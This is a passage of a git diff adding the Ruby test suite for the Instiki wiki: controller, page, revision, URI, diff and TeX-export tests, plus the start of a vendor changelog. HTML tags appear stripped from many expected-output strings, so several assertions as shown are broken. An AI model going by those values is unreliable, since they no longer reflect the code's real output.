'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + + def test_search + setup_wiki_with_three_pages + process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + assert_redirected_to :action => 'show', :id => 'Oak' + end + + def test_search_multiple_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'All about' + + assert_success + assert_equal 'All about', r.template_objects['query'] + assert_equal [@elephant, @oak], r.template_objects['results'] + end + + def test_search_zero_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' + + assert_success + assert_equal [], r.template_objects['results'] + end + + + def test_show_page + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + assert_success + assert_match /First revision of the end/, r.body + end + + def test_show_page_with_multiple_revisions + @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, + Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + + assert_success + assert_match /Second revision of the end/, r.body + end + + def test_show_page_nonexistant_page + process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') + assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' + end + + + def test_update_web + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'safe_mode' => 'y', 'password' => 'new_password', 'published' => 'y', + 'brackets_only' => 'y', 'count_pages' => 'y') + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert_equal 'renamed_wiki1', @web.address + assert_equal 'Renamed Wiki1', @web.name + assert_equal :markdown, @web.markup + assert_equal 'blue', @web.color + assert @web.safe_mode + assert_equal 'new_password', @web.password + assert @web.published + assert @web.brackets_only + assert @web.count_pages + end + + + def test_web_list + another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') + + r = process('web_list') + + assert_success + assert_equal [another_wiki, @web], r.template_objects['webs'] + end + + + # Wiki fixture + + def setup_test_wiki + @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new + @web = @wiki.create_web('Test Wiki 1', 'wiki1') + @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, + Author.new('AnAuthor', '127.0.0.1')) + end + + def setup_wiki_with_three_pages + @oak = @wiki.write_page('wiki1', 'Oak', + "All about oak.\n" + + "category: trees", + 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) + @elephant = @wiki.write_page('wiki1', 'Elephant', + "All about elephants.\n" + + "category: animals", + 10.minutes.ago, Author.new('Guest', '127.0.0.2')) + end + + def tear_down_wiki + ApplicationController.wiki = nil + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb new file mode 100755 index 00000000..31fdd36d --- /dev/null +++ b/test/test_helper.rb @@ -0,0 +1,48 @@ +ENV['RAILS_ENV'] ||= 'test' +require File.dirname(__FILE__) + '/../config/environment' +require 'application' + +require 'test/unit' +require 'action_controller/test_process' + +# Convenient setup method for Test::Unit::TestCase +class Test::Unit::TestCase + + private + + def setup_controller_test(controller_class = nil, host = nil) + if controller_class + @controller = controller_class + elsif self.class.to_s =~ /^(\w+Controller)Test$/ + @controller = Object::const_get($1) + else + raise "Cannot derive the name of controller under test from class name #{self.class}" + end + @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new + @request.host = host || 'localhost' + return @request, @response + end + +end + +class WikiServiceWithNoPersistence + include AbstractWikiService + def initialize + init_wiki_service + end +end + +# With the new cookies infrastructure, @response.cookies['foo'] is no good anymore. +# Pending implementation in Rails, here is a convenience method for accessing cookies from a test + +module ActionController + class TestResponse + # Returns the response cookies, converted to a Hash of (name => CGI::Cookie) pairs + # Example: + # + # assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + def cookies + headers['cookie'].inject({}) { |hash, cookie| hash[cookie.name] = cookie; hash } + end + end +end diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb new file mode 100755 index 00000000..7112eae2 --- /dev/null +++ b/test/unit/chunks/category_test.rb @@ -0,0 +1,21 @@ +require 'chunks/category' +require 'chunks/match' +require 'test/unit' + +class CategoryTest < Test::Unit::TestCase + include ChunkMatch + + def test_single_category + match(Category, 'category: test', :list => ['test'], :hidden => nil) + match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) + match(Category, ':category: test', :list => ['test'], :hidden => ':') + end + + def test_multiple_categories + match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) + match(Category, 'category : chunk test , multi category,regression test case ', + :list => ['chunk test','multi category','regression test case'], :hidden => nil + ) + end + +end diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb new file mode 100755 index 00000000..b43e0705 --- /dev/null +++ b/test/unit/chunks/nowiki_test.rb @@ -0,0 +1,14 @@ +require 'chunks/nowiki' +require 'chunks/match' +require 'test/unit' + +class NoWikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple_nowiki + match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', + :plain_text => '[[raw text]]' + ) + end + +end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb new file mode 100755 index 00000000..aeb1ef22 --- /dev/null +++ b/test/unit/chunks/wiki_test.rb @@ -0,0 +1,36 @@ +require 'chunks/wiki' +require 'chunks/match' +require 'test/unit' + +class WikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple + match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') + end + + def test_escaped + match(WikiChunk::Word, 'Do not link to an \EscapedWord', + :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' + ) + end + + def test_simple_brackets + match(WikiChunk::Link, 'This is a [[bracketted link]]', + :page_name => 'bracketted link', :escaped_text => nil + ) + end + + def test_complex_brackets + match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', + :page_name => 'Sperberg-McQueen', :escaped_text => nil + ) + end + +# MDR: I'm not sure how to deal with this case just yet... +# +# def test_textile_link +# assert_no_match(WikiChunk::Word.pattern, '"Here is a special link":SpecialLink') +# end + +end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb new file mode 100755 index 00000000..24b52244 --- /dev/null +++ b/test/unit/diff_test.rb @@ -0,0 +1,80 @@ +require 'test/unit' +require 'diff' + +include Diff + +class DiffTest < Test::Unit::TestCase + def test_init + assert(1 == 1, "tests working") + assert_nothing_raised("object created") do + s = SequenceMatcher.new "private Thread currentThread;", + "private volatile Thread currentThread;", + proc { |x| x == ' ' } + end + end + + def test_matching_blocks + s = SequenceMatcher.new "abxcd", "abcd" + assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], + "get_matching_blocks works") + end + + def test_ratio + s = SequenceMatcher.new "abcd", "bcde" + assert(s.ratio == 0.75, "ratio works") + assert(s.quick_ratio == 0.75, "quick_ratio works") + assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") + end + + def test_longest_match + s = SequenceMatcher.new(" abcd", "abcd abcd") + assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], + "find_longest_match works") + s = SequenceMatcher.new() + end + + def test_opcodes + s = SequenceMatcher.new("qabxcd", "abycdf") + assert(s.get_opcodes == [ + [:delete, 0, 1, 0, 0], + [:equal, 1, 3, 0, 2], + [:replace, 3, 4, 2, 3], + [:equal, 4, 6, 3, 5], + [:insert, 6, 6, 5, 6]], "get_opcodes works") + end + + + def test_count_leading + assert(Diff.count_leading(' abc', ' ') == 3, + "count_leading works") + end + + def test_html2list + a = "here is the original text" + #p HTMLDiff.html2list(a) + end + + def test_html_diff + a = "this was the original string" + b = "this is the super string" + assert_equal 'this was ' + + 'is the ' + + 'original ' + + 'super string', + HTMLDiff.diff(a, b) + end + + def test_html_diff_with_multiple_paragraphs + a = "

      this was the original string

      " + b = "

      this is

      \r\n

      the super string

      \r\n

      around the world

      " + + assert_equal( + "

      this was " + + "is

      \r\n

      the " + + "original " + + "super string

      \r\n" + + "

      around the world

      ", + HTMLDiff.diff(a, b) + ) + end +end \ No newline at end of file diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb new file mode 100755 index 00000000..014ae789 --- /dev/null +++ b/test/unit/page_test.rb @@ -0,0 +1,76 @@ +require "test/unit" +require "web" +require "page" + +class MockWeb < Web + def initialize() super('test','test') end + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end + def refresh_pages_with_references(name) end +end + +class PageTest < Test::Unit::TestCase + def setup + @page = Page.new( + MockWeb.new, + "FirstPage", + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + end + + def test_basics + assert_equal "First Page", @page.plain_name + assert_equal "April 4, 2004", @page.pretty_revised_on + end + + def test_locking + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) + assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) + + @page.unlock + + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + end + + def test_locking_duration + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) + end + + def test_revision + @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") + assert_equal 2, @page.revisions.length, "Should have two revisions" + assert_equal "MarianneSyhler", @page.author, "Mary should be the author now" + assert_equal "DavidHeinemeierHansson", @page.revisions.first.author, "David was the first author" + end + + def test_rollback + @page.revise("spot two", Time.now, "David") + @page.revise("spot three", Time.now + 2000, "David") + assert_equal 3, @page.revisions.length, "Should have three revisions" + @page.rollback(1, Time.now) + assert_equal "spot two", @page.content + end + + def test_continous_revision + @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") + assert_equal 2, @page.revisions.length + + @page.revise("HisWay would be MyWay in kinda update", Time.local(2004, 4, 4, 16, 57), "MarianneSyhler") + assert_equal 2, @page.revisions.length + assert_equal "HisWay would be MyWay in kinda update", @page.revisions.last.content + + @page.revise("HisWay would be MyWay in the house", Time.local(2004, 4, 4, 16, 58), "DavidHeinemeierHansson") + assert_equal 3, @page.revisions.length + assert_equal "HisWay would be MyWay in the house", @page.revisions.last.content + + @page.revise("HisWay would be MyWay in my way", Time.local(2004, 4, 4, 17, 30), "DavidHeinemeierHansson") + assert_equal 4, @page.revisions.length + end +end \ No newline at end of file diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb new file mode 100755 index 00000000..72d9e91e --- /dev/null +++ b/test/unit/redcloth_for_tex_test.rb @@ -0,0 +1,67 @@ +require "test/unit" +require "redcloth_for_tex" + +class RedClothForTexTest < Test::Unit::TestCase + def test_basics + assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex + assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex + assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex + end + + def test_blocks + assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex + assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex + end + + def test_table_of_contents + +source = < 'Abe', 'B' => 'Babe')) + end + + def test_entities + assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex + end + + def test_bracket_links + assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex + end + + def test_footnotes_on_abbreviations + assert_equal( + "such a Horrible Day\\footnote{1}, but I won't be Made Useless", + RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex + ) + end + + def test_subsection_depth + assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex + end +end \ No newline at end of file diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb new file mode 100755 index 00000000..e8bf59dc --- /dev/null +++ b/test/unit/revision_test.rb @@ -0,0 +1,261 @@ +require "web" +require "test/unit" +require "revision" + +class MockWeb < Web; + attr_accessor :markup + def pages() MockPages.new end + def safe_mode() false end +end +class MockPages + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end +end +class MockPage + attr_accessor :web, :revisions + def name() "page" end +end + +class RevisionTest < Test::Unit::TestCase + + def setup + @mock_page = MockPage.new + @mock_web = MockWeb.new + @mock_page.web = @mock_web + + @mock_web.markup = :textile + + @revision = Revision.new( + @mock_page, + 1, + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_auto_links = Revision.new( + @mock_page, + 1, + "http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_aliased_links = Revision.new( + @mock_page, + 1, + "Would a [[SmartEngine|clever motor]] go by any other name?", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_wiki_word_in_em = Revision.new( + @mock_page, + 1, + "_should we go ThatWay or ThisWay _", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_pre_blocks = Revision.new( + @mock_page, + 1, + "A class SmartEngine end would not mark up
      CodeBlocks
      ", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_wikiword_in_tag = Revision.new( + @mock_page, + 1, + "That is some Stylish Emphasis", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_autolink_in_parentheses = Revision.new( + @mock_page, + 1, + 'The W3C body (http://www.w3c.org) sets web standards', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_link_in_parentheses = Revision.new( + @mock_page, + 1, + 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_image_link = Revision.new( + @mock_page, + 1, + 'This !http://hobix.com/sample.jpg! is a Textile image link.', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_nowiki_text = Revision.new( + @mock_page, + 1, + 'Do not mark up [[this text]] or http://www.thislink.com.', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_bracketted_wiki_word = Revision.new( + @mock_page, + 1, + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + end + + def test_wiki_words + assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort + end + + def test_existing_pages + assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort + end + + def test_unexisting_pages + assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort + end + + def test_content_with_wiki_links + assert_equal "

      His Way? would be My Way in kinda That Way in His Way? though My Way OverThere—see Smart Engine in that Smart Engine GUI?

      ", @revision.display_content + end + + def test_bluecloth + @mock_web.markup = :markdown + + @revision = Revision.new( + @mock_page, + 1, + "My Headline\n===========\n\n that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_code_block = Revision.new( + @mock_page, + 1, + [ 'This is a code block:', + '', + ' def a_method(arg)', + ' return ThatWay', + '', + 'Nice!'].join("\n"), + Time.local(2004, 4, 4, 16, 50), + 'MarkReid' + ) + + assert_equal %{

      My Headline

      \n\n

      that } + + %{Smart Engine GUI?

      }, + @revision.display_content + + assert_equal %{

      This is a code block:

      \n\n
      def a_method(arg)\n} +
      +	    %{return ThatWay\n
      \n\n

      Nice!

      }, + @revision_with_code_block.display_content + end + + def test_rdoc + @mock_web.markup = :rdoc + + @revision = Revision.new( + @mock_page, + 1, + "+hello+ that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + assert_equal "hello that Smart Engine GUI?\n\n", @revision.display_content + end + + def test_content_with_auto_links + assert_equal "

      http://www.loudthinking.com/ points to That Way from david@loudthinking.com

      ", @revision_with_auto_links.display_content + end + + def test_content_with_aliased_links + assert_equal "

      Would a clever motor go by any other name?

      ", @revision_with_aliased_links.display_content + end + + def test_content_with_wikiword_in_em + assert_equal "

      should we go That Way or This Way?

      ", @revision_with_wiki_word_in_em.display_content + end + + def test_content_with_wikiword_in_tag + assert_equal "

      That is some Stylish Emphasis

      ", @revision_with_wikiword_in_tag.display_content + end + + def test_content_with_pre_blocks + assert_equal "A class SmartEngine end would not mark up
      CodeBlocks
      ", @revision_with_pre_blocks.display_content + end + + def test_content_with_autolink_in_parentheses + assert_equal '

      The W3C body (http://www.w3c.org) sets web standards

      ', @revision_with_autolink_in_parentheses.display_content + end + + def test_content_with_link_in_parentheses + assert_equal '

      Instiki is a Wiki Clone (What is a wiki?) that’s so easy to setup

      ', @revision_with_link_in_parentheses.display_content + end + + def test_content_with_image_link + assert_equal '

      This is a Textile image link.

      ', @revision_with_image_link.display_content + end + + def test_content_with_nowiki_text + assert_equal '

      Do not mark up [[this text]] or http://www.thislink.com.

      ', @revision_with_nowiki_text.display_content + end + + def test_content_with_bracketted_wiki_word + @mock_web.brackets_only = true + assert_equal '

      This is a WikiWord and a tricky name Sperberg-McQueen?.

      ', @revision_with_bracketted_wiki_word.display_content + end + + def test_content_for_export + assert_equal "

      His Way would be My Way in kinda That Way in His Way though My Way OverThere—see Smart Engine in that Smart Engine GUI

      ", @revision.display_content_for_export + end + + def test_double_replacing + @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" + assert_equal( + "

      Version History?

      \n\n\t

      cry Version History?

      ", + @revision.display_content + ) + + @revision.clear_display_cache + + @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" + assert_equal( + "

      f
      \nVersion History?

      \n\n\t

      cry Version History?

      ", + @revision.display_content + ) + end + + def test_difficult_wiki_words + @revision.content = "[[It's just awesome GUI!]]" + assert_equal( + "

      It’s just awesome GUI!?

      ", + @revision.display_content + ) + end + + def test_revisions_diff + page = MockPage.new + web = MockWeb.new + web.markup = :textile + page.web = web + + page.revisions = [ 0 ] + page.revisions << Revision.new(page, 1, "What a blue and lovely morning", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") + page.revisions << Revision.new(page, 2, "What a red and lovely morning today", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") + + assert_equal "

      What a blue red and lovely morningmorning today

      ", page.revisions.last.display_diff + end +end \ No newline at end of file diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb new file mode 100755 index 00000000..474e26e1 --- /dev/null +++ b/test/unit/uri_test.rb @@ -0,0 +1,92 @@ +require 'chunks/uri' +require 'chunks/match' +require 'test/unit' + +class URITest < Test::Unit::TestCase + include ChunkMatch + + def test_non_matches + assert_no_match(URIChunk.pattern, 'There is no URI here') + assert_no_match(URIChunk.pattern, 'One gemstone is the garnet:reddish in colour, like ruby') + end + + def test_simple_uri + match(URIChunk, 'http://www.example.com', + :scheme =>'http', :host =>'www.example.com', :path => nil, + :link_text => 'http://www.example.com' + ) + match(URIChunk, 'http://www.example.com/', + :scheme =>'http', :host =>'www.example.com', :path => '/', + :link_text => 'http://www.example.com/' + ) + match(URIChunk, 'www.example.com', + :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' + ) + match(URIChunk, 'example.com', + :scheme =>'http',:host =>'example.com', :link_text => 'example.com' + ) + match(URIChunk, 'http://example.com.au/', + :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' + ) + match(URIChunk, 'example.com.au', + :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' + ) + match(URIChunk, 'http://www.example.co.uk/', + :scheme =>'http', :host =>'www.example.co.uk', + :link_text => 'http://www.example.co.uk/' + ) + match(URIChunk, 'example.co.uk', + :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' + ) + match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + end + + def test_email_uri + match(URIChunk, 'mail@example.com', + :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' + ) + end + + def test_non_email + # The @ is part of the normal text, but 'example.com' is marked up. + match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') + end + + def test_non_uri + assert_no_match(URIChunk.pattern, 'httpd.conf') + assert_no_match(URIChunk.pattern, 'libproxy.so') + end + + def test_uri_in_text + match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') + match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') + match(URIChunk, + 'Email david@loudthinking.com', + :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com' + ) + end + + def test_uri_in_parentheses + match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') + match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') + match(URIChunk, + 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' + ) + end + + def test_uri_list_item + match( + URIChunk, + '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', + :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' + ) + end +end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb new file mode 100755 index 00000000..b54ced23 --- /dev/null +++ b/test/unit/url_rewriting_hack_test.rb @@ -0,0 +1,60 @@ +require File.dirname(__FILE__) + '/../test_helper' +require 'url_rewriting_hack' + +class UrlRewritingHackTest < Test::Unit::TestCase + + def test_parse_uri + assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, + DispatchServlet.parse_uri('/x/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z/')) + end + + def test_parse_uri_approot + assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, + DispatchServlet.parse_uri('/wiki/')) + end + + def test_parse_uri_interestng_cases + + assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', + :controller => 'wiki', + :action => 'an_action', :id => 'HomePage' + }, + DispatchServlet.parse_uri( + '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') + ) + + assert_equal false, DispatchServlet.parse_uri('') + assert_equal false, DispatchServlet.parse_uri('//') + assert_equal false, DispatchServlet.parse_uri('/web/show/$HOME_PAGE') + assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage/something_else') + assert_equal false, DispatchServlet.parse_uri('web') + assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2') + end + + def test_url_rewriting + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/myweb/myaction', + ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/myOtherWeb/', + ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') + + assert_equal 'http://test.host/myaction', + ur.rewrite(:controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/', + ur.rewrite(:controller => 'wiki') + end + + +end \ No newline at end of file diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb new file mode 100755 index 00000000..e85b0076 --- /dev/null +++ b/test/unit/web_test.rb @@ -0,0 +1,104 @@ +#!/usr/bin/ruby + +require 'test/unit' +require 'wiki_service' + +class WebTest < Test::Unit::TestCase + def setup + @web = Web.new 'Instiki', 'instiki' + end + + def test_wiki_word_linking + @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + + assert_equal('

      Yo, yo. Have you Ever Been Hated' + + '?

      ', + @web.pages["SecondPage"].display_content) + + @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + assert_equal('

      Yo, yo. Have you Ever Been Hated

      ', + @web.pages['SecondPage'].display_content) + end + + def test_pages_by_revision + add_sample_pages + assert_equal 'EverBeenHated', @web.select.by_revision.first.name + end + + def test_pages_by_match + add_sample_pages + assert_equal 2, @web.select { |page| page.content =~ /me/i }.length + assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length + assert_equal 0, @web.select { |page| page.content =~ /none/i }.length + end + + def test_references + add_sample_pages + assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length + assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length + end + + def test_delete + add_sample_pages + assert_equal 2, @web.pages.length + @web.remove_pages([ @web.pages['EverBeenInLove'] ]) + assert_equal 1, @web.pages.length + end + + def test_make_link + add_sample_pages + + existing_page_wiki_url = + 'Ever Been In Love' + existing_page_published_url = + 'Ever Been In Love' + existing_page_static_url = + 'Ever Been In Love' + new_page_wiki_url = + 'Unknown Word?' + new_page_published_url = + new_page_static_url = + 'Unknown Word' + + # no options + assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') + + # :mode => :export + assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) + + # :mode => :publish + assert_equal existing_page_published_url, + @web.make_link('EverBeenInLove', nil, :mode => :publish) + + # new page, no options + assert_equal new_page_wiki_url, @web.make_link('UnknownWord') + + # new page, :mode => :export + assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) + + # new page, :mode => :publish + assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) + + # Escaping special characters in the name + assert_equal( + 'Smith & Wesson?', + @web.make_link('Smith & Wesson')) + + # optionally using text as the link text + assert_equal( + existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), + @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) + + end + + private + def add_sample_pages + @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) + @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', + Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) + end +end \ No newline at end of file diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb new file mode 100755 index 00000000..43bea85b --- /dev/null +++ b/test/unit/wiki_service_test.rb @@ -0,0 +1,15 @@ +require 'test/unit' +require 'wiki_service' + +class WikiServiceTest < Test::Unit::TestCase + def setup + @s = WikiServiceWithNoPersistence.new + @s.create_web 'Instiki', 'instiki' + end + + def test_read_write_page + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end +end diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb new file mode 100755 index 00000000..e3755128 --- /dev/null +++ b/test/unit/wiki_words_test.rb @@ -0,0 +1,12 @@ +require "test/unit" +require "wiki_words" + +class WikiWordsTest < Test::Unit::TestCase + + def test_utf8_characters_in_wiki_word + assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") + assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") + assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") + assert_equal "Legetøj", WikiWords.separate("Legetøj") + end +end diff --git a/vendor/bluecloth-1.0.0/CHANGES b/vendor/bluecloth-1.0.0/CHANGES new file mode 100755 index 00000000..4b4050aa --- /dev/null +++ b/vendor/bluecloth-1.0.0/CHANGES @@ -0,0 +1,366 @@ +------------------------------------------------------------------------ +r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines + +- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug. + +------------------------------------------------------------------------ +r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines + 